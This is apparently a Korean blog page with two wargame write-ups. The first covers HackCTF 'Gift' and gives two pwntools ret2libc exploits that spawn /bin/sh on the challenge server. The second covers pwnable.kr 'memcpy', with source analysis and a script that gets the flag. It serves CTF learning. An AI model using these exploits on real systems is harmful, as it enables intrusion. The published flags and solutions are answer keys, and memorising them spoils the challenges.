   0x08048579 <+51>:	mov    eax,DWORD PTR [ebx-0x8]
   0x0804857f <+57>:	mov    eax,DWORD PTR [eax]
   0x08048581 <+59>:	push   0x0
   0x08048583 <+61>:	push   0x2
   0x08048585 <+63>:	push   0x0
   0x08048587 <+65>:	push   eax
   0x08048588 <+66>:	call   0x8048410 <setvbuf@plt>
   0x0804858d <+71>:	add    esp,0x10
   0x08048590 <+74>:	mov    eax,DWORD PTR [ebx-0x14]
   0x08048596 <+80>:	mov    eax,DWORD PTR [eax]
   0x08048598 <+82>:	push   0x0
   0x0804859a <+84>:	push   0x2
   0x0804859c <+86>:	push   0x0
   0x0804859e <+88>:	push   eax
   0x0804859f <+89>:	call   0x8048410 <setvbuf@plt>
   0x080485a4 <+94>:	add    esp,0x10
   0x080485a7 <+97>:	mov    eax,DWORD PTR [ebx-0x10]
   0x080485ad <+103>:	push   eax
   0x080485ae <+104>:	mov    eax,0x8049940
   0x080485b4 <+110>:	push   eax
   0x080485b5 <+111>:	lea    eax,[ebx-0x1254]
   0x080485bb <+117>:	push   eax
   0x080485bc <+118>:	call   0x80483c0 <printf@plt>
   0x080485c1 <+123>:	add    esp,0xc
   0x080485c4 <+126>:	mov    eax,DWORD PTR [ebx-0x8]
   0x080485ca <+132>:	mov    eax,DWORD PTR [eax]
   0x080485cc <+134>:	push   eax
   0x080485cd <+135>:	push   0x80
   0x080485d2 <+140>:	lea    eax,[ebp-0x84]
   0x080485d8 <+146>:	push   eax
   0x080485d9 <+147>:	call   0x80483e0 <fgets@plt>
   0x080485de <+152>:	add    esp,0xc
   0x080485e1 <+155>:	lea    eax,[ebp-0x84]
   0x080485e7 <+161>:	push   eax
   0x080485e8 <+162>:	call   0x80483c0 <printf@plt>
   0x080485ed <+167>:	add    esp,0x4
   0x080485f0 <+170>:	lea    eax,[ebp-0x84]
   0x080485f6 <+176>:	push   eax
   0x080485f7 <+177>:	call   0x80483d0 <gets@plt>
   0x080485fc <+182>:	add    esp,0x4
   0x080485ff <+185>:	mov    eax,0x0
   0x08048604 <+190>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x08048607 <+193>:	leave  
   0x08048608 <+194>:	ret    
End of assembler dump.
  • 입력 값은 모두 ebp-0x84에 저장됨
  • → ret까지의 offset은 0x88(136)임을 알 수 있음

 

Gadget 찾기 - gets 함수의 인자 빼기

ROPgadget --binary=./gift | grep ret

 

문제 해결

💡 방법1) libc-database로 libc_base 찾아 직접 실제 주소 구해 기본 RTL 진행
방법2) get(”/bin/sh”)로 binsh 주소에 /bin/sh를 넣은 후 RTL 진행

 

방법1

  • libc_base를 찾기 위해 system 함수의 offset 확인 → 0x940이 고정됨을 알 수 있음
  • 리눅스에 libc-database 설치하기

https://plump-streetcar-a98.notion.site/libc-database-4e31944ec9224a32a758436cfc75cfca

? libc_base를 찾을 수 없음 → offset이 안나온다!

  • 엥.. 또 나온다..?

→ 누군가가 찾아둔 것으로 시도!

 

Exploit - Pwntools

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3018)
e = ELF('./gift')

gets = e.plt['gets']
gadget = 0x0804866b
system_offset = 0x0003a940
binsh_offset = 0x15902b

p.recvuntil(': ')
binsh_address = int(p.recv(10),16)
system_address = int(p.recv(10),16)

p.sendline('a'*4)

libc_base = system_address - system_offset
binsh_real = libc_base + binsh_offset

payload = "A"*136
payload += p32(system_address)
payload += "b"*4
payload += p32(binsh_real)

p.sendline(payload)
p.interactive()

 

방법2

Exploit - Pwntools

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3018)
e = ELF('./gift')

gets = e.plt['gets']
gadget = 0x0804866b

p.recvuntil(': ')
binsh = int(p.recv(10),16)
system = int(p.recv(10),16)

p.sendline('a'*4)

payload = "A"*136
payload += p32(gets)
payload += p32(gadget) #인자 빼기
payload += p32(binsh) #return address
payload += p32(system) #인자
payload += "b"*4 #return address 없으므로 dummy
payload += p32(binsh) #system 함수의 인자 -> binsh의 주소 주기

p.sendline(payload)
p.send("/bin/sh\\x00") #gets 함수 인자로 /bin/sh주기
p.interactive()


flag

🍒 HackCTF{플래그_잘_받았지?_이게_내_선물이야!}

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] 1996  (0) 2022.10.30
[HackCTF] Random key  (0) 2022.10.30
[HackCTF] RTL_Core  (0) 2022.10.30
[HackCTF] Beginner_Heap  (0) 2022.10.30
[HackCTF] Look at me  (0) 2022.10.30

[문제]


[풀이]

memcpy.pptx
18.54MB

 

 

→ 발표자료 만들다가 가져옴

readme

binary of "memcpy.c" source code (with real flag) will be executed under memcpy_pwn privilege if you connect to port 9022.

  • 실제 flag가 포함된 바이너리는 9022에서 memcpy_pwn 권한으로 실행되고 있다고 함

  • local에서는 flag 부분까지 잘출력되는데, 서버에서는 중간에 멈춰버림
  • 음.. 뭔가.. 로컬에서는 대부분 slow_memcpy가 시간이 매우 많이 걸리는데, 서버꺼는 별 차이가 없거나 오히려 fast_memcpy가 오래 걸리는 경우가 다수 보임

 

소스코드 분석 - memcpy.c

// compiled with : gcc -o memcpy memcpy.c -m32 -lm
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>
#include <math.h>

unsigned long long rdtsc(){
        asm("rdtsc");
}

char* slow_memcpy(char* dest, const char* src, size_t len){
	int i;
	for (i=0; i<len; i++) {
		dest[i] = src[i];
	}
	return dest;
}

char* fast_memcpy(char* dest, const char* src, size_t len){
	size_t i;
	// 64-byte block fast copy
	if(len >= 64){
		i = len / 64;
		len &= (64-1);
		while(i-- > 0){
			__asm__ __volatile__ (
			"movdqa (%0), %%xmm0\\n"
			"movdqa 16(%0), %%xmm1\\n"
			"movdqa 32(%0), %%xmm2\\n"
			"movdqa 48(%0), %%xmm3\\n"
			"movntps %%xmm0, (%1)\\n"
			"movntps %%xmm1, 16(%1)\\n"
			"movntps %%xmm2, 32(%1)\\n"
			"movntps %%xmm3, 48(%1)\\n"
			::"r"(src),"r"(dest):"memory");
			dest += 64;
			src += 64;
		}
	}

	// byte-to-byte slow copy
	if(len) slow_memcpy(dest, src, len);
	return dest;
}

int main(void){

	setvbuf(stdout, 0, _IONBF, 0);
	setvbuf(stdin, 0, _IOLBF, 0);

	printf("Hey, I have a boring assignment for CS class.. :(\\n");
	printf("The assignment is simple.\\n");

	printf("-----------------------------------------------------\\n");
	printf("- What is the best implementation of memcpy?        -\\n");
	printf("- 1. implement your own slow/fast version of memcpy -\\n");
	printf("- 2. compare them with various size of data         -\\n");
	printf("- 3. conclude your experiment and submit report     -\\n");
	printf("-----------------------------------------------------\\n");

	printf("This time, just help me out with my experiment and get flag\\n");
	printf("No fancy hacking, I promise :D\\n");

	unsigned long long t1, t2;
	int e;
	char* src;
	char* dest;
	unsigned int low, high;
	unsigned int size;
	// allocate memory
	char* cache1 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	char* cache2 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	src = mmap(0, 0x2000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

	size_t sizes[10];
	int i=0;

	// setup experiment parameters
	for(e=4; e<14; e++){	// 2^13 = 8K
		low = pow(2,e-1);
		high = pow(2,e);
		printf("specify the memcpy amount between %d ~ %d : ", low, high);
		scanf("%d", &size);
		if( size < low || size > high ){
			printf("don't mess with the experiment.\\n");
			exit(0);
		}
		sizes[i++] = size;
	}

	sleep(1);
	printf("ok, lets run the experiment with your configuration\\n");
	sleep(1);

	// run experiment
	for(i=0; i<10; i++){
		size = sizes[i];
		printf("experiment %d : memcpy with buffer size %d\\n", i+1, size);
		dest = malloc( size );

		memcpy(cache1, cache2, 0x4000);		// to eliminate cache effect
		t1 = rdtsc();
		slow_memcpy(dest, src, size);		// byte-to-byte memcpy
		t2 = rdtsc();
		printf("ellapsed CPU cycles for slow_memcpy : %llu\\n", t2-t1);

		memcpy(cache1, cache2, 0x4000);		// to eliminate cache effect
		t1 = rdtsc();
		fast_memcpy(dest, src, size);		// block-to-block memcpy
		t2 = rdtsc();
		printf("ellapsed CPU cycles for fast_memcpy : %llu\\n", t2-t1);
		printf("\\n");
	}

	printf("thanks for helping my experiment!\\n");
	printf("flag : ----- erased in this source code -----\\n");
	return 0;
}

하나씩 뜯어보자

rdtsc 함수

unsigned long long rdtsc(){
        asm("rdtsc");
}

 

main 함수-1

int main(void){

	setvbuf(stdout, 0, _IONBF, 0);
	setvbuf(stdin, 0, _IOLBF, 0);

	printf("Hey, I have a boring assignment for CS class.. :(\\n");
	printf("The assignment is simple.\\n");

	printf("-----------------------------------------------------\\n");
	printf("- What is the best implementation of memcpy?        -\\n");
	printf("- 1. implement your own slow/fast version of memcpy -\\n");
	printf("- 2. compare them with various size of data         -\\n");
	printf("- 3. conclude your experiment and submit report     -\\n");
	printf("-----------------------------------------------------\\n");

	printf("This time, just help me out with my experiment and get flag\\n");
	printf("No fancy hacking, I promise :D\\n");

	unsigned long long t1, t2;
	int e;
	char* src;
	char* dest;
	unsigned int low, high;
	unsigned int size;
	// allocate memory
	char* cache1 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	char* cache2 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	src = mmap(0, 0x2000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

	size_t sizes[10];
	int i=0;

mmap의 사용

  • cache1,2
    • 0x4000만큼 다른 프로세스와 대응 영역을 공유하지 않고, 읽고 쓰고 실행이 모두 가능한 것으로 보임.
    • MAP_ANONYMOUS는 어떠한 파일하고도 연결되지 않고 0으로 초기화된 영역으로 fd는 무시되지만 어떤 경우에는 -1이 요구된다고 함
    • offset는 0으로 고정한다고 함!
    • http://jake.dothome.co.kr/user-virtual-maps-mmap2/
  • src는 cache와 같은 방법으로 0x2000만큼 매핑

 

main 함수-2

	size_t sizes[10];
	int i=0;

	// setup experiment parameters
	for(e=4; e<14; e++){	// 2^13 = 8K
		low = pow(2,e-1);
		high = pow(2,e);
		printf("specify the memcpy amount between %d ~ %d : ", low, high);
		scanf("%d", &size);
		if( size < low || size > high ){
			printf("don't mess with the experiment.\\n");
			exit(0);
		}
		sizes[i++] = size;
	}

	sleep(1);
	printf("ok, lets run the experiment with your configuration\\n");
	sleep(1);
  • 2^4~2^13의 범위에서 memcpy amount를 사용자로부터 입력 받음
  • size가 low와 high 사이에 없으면 바이너리가 종료됨
  • 10번 수행하고 끝내는 것으로 보임

 

main 함수-3

	// run experiment
	for(i=0; i<10; i++){
		size = sizes[i];
		printf("experiment %d : memcpy with buffer size %d\\n", i+1, size);
		dest = malloc( size );

		memcpy(cache1, cache2, 0x4000);		// to eliminate cache effect
		t1 = rdtsc();
		slow_memcpy(dest, src, size);		// byte-to-byte memcpy
		t2 = rdtsc();
		printf("ellapsed CPU cycles for slow_memcpy : %llu\\n", t2-t1);

		memcpy(cache1, cache2, 0x4000);		// to eliminate cache effect
		t1 = rdtsc();
		fast_memcpy(dest, src, size);		// block-to-block memcpy
		t2 = rdtsc();
		printf("ellapsed CPU cycles for fast_memcpy : %llu\\n", t2-t1);
		printf("\\n");
	}

	printf("thanks for helping my experiment!\\n");
	printf("flag : ----- erased in this source code -----\\n");
	return 0;
}
  • 입력한 size만큼 malloc으로 할당하여 dest에 저장함
  • slow_memcpy함수를 실행하기 전 시간과, 실행 후 시간을 측정해 slow_memcpy cycle이 도는 시간을 반환해줌
    • fast_memcpy도 마찬가지

 

slow_memcpy

char* slow_memcpy(c]har* dest, const char* src, size_t len){
	int i;
	for (i=0; i<len; i++) {
		dest[i] = src[i];
	}
	return dest;
}
  • 1바이트씩 직접 매핑하고 있음

 

fast_memcpy

char* fast_memcpy(char* dest, const char* src, size_t len){
	size_t i;
	// 64-byte block fast copy
	if(len >= 64){
		i = len / 64;
		len &= (64-1);
		while(i-- > 0){
			__asm__ __volatile__ ( //프로그래머가 코딩한 순서대로 assemble 됨
			"movdqa (%0), %%xmm0\\n"
			"movdqa 16(%0), %%xmm1\\n"
			"movdqa 32(%0), %%xmm2\\n"
			"movdqa 48(%0), %%xmm3\\n"
			"movntps %%xmm0, (%1)\\n"
			"movntps %%xmm1, 16(%1)\\n"
			"movntps %%xmm2, 32(%1)\\n"
			"movntps %%xmm3, 48(%1)\\n"
			::"r"(src),"r"(dest):"memory");
			dest += 64;
			src += 64;
		}
	}

	// byte-to-byte slow copy
	if(len) slow_memcpy(dest, src, len);
	return dest;
}

 

문제 해결

💡 xmm 레지스터들에 의해 메모리에 저장되는데, 해당 주소가 16byte 단위로 저장되는 지 확인해볼 것
  • 레지스터의 값들이 저장되는 곳은 dest임
    • dest 주소를 확인하는 과정이 필요함 → gdb / printf로 출력
  • local에서 컴파일 했을 때에는 멀쩡했음(해당 취약점은 ubuntu 16.04까지에서만 통함. 이후 버전의 로컬 환경에서 컴파일하면 memory를 자동적으로 align해줘서 flag까지 출력됨)

  • 서버에서 확인한 결과 experiment 3와 5에서 이상함을 감지함
    • 원래라면 16byte 단위이기 때문에 0x10씩 늘어나야 함
    • 즉, experiment 1의 시작이 0으로 끝났다면 모두 0으로 끝나야 한다는 소리임
    • experiment2와 3을 살펴보면 0x8889420 → 0x8889438임
    • 16byte만큼 추가됐는데, 총 늘어난 크기는 24byte임
    • 8byte가 더 추가된 것
    • 내가 넣은 값에 대해서 8byte씩 추가하고 있으므로 입력 값 자체를 8byte씩 더 입력해주면 됨

  • 오! 64를 입력하는 부분부터 8byte씩 추가로 입력해줬더니 flag 부분이 출력됨

 

Exploit Code - Pwntools

from pwn import *

p = remote('pwnable.kr', 9022)

p.recvuntil("8 ~ 16 : ")
p.sendline("8")

p.recvuntil(" : ")
p.sendline("16")

p.recvuntil(" : ")
p.sendline("32")

p.recvuntil(" : ")
p.sendline("72")

p.recvuntil(" : ")
p.sendline("136")

p.recvuntil(" : ")
p.sendline("264")

p.recvuntil(" : ")
p.sendline("520")

p.recvuntil(" : ")
p.sendline("1032")

p.recvuntil(" : ")
p.sendline("2056")

p.recvuntil(" : ")
p.sendline("4104")

p.recvuntil("flag : ")
print p.recv(1000)
p.interactive()


flag

🍒 1_w4nn4_br34K_th3_m3m0ry_4lignm3nt

 

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] blukat  (0) 2023.02.27
[Pwnable.kr] asm  (0) 2023.02.26
[Pwnable.kr] uaf  (0) 2022.10.15
[Pwnable.kr] cmd2  (0) 2022.10.15
[Pwnable.kr] cmd1  (0) 2022.10.15

+ Recent posts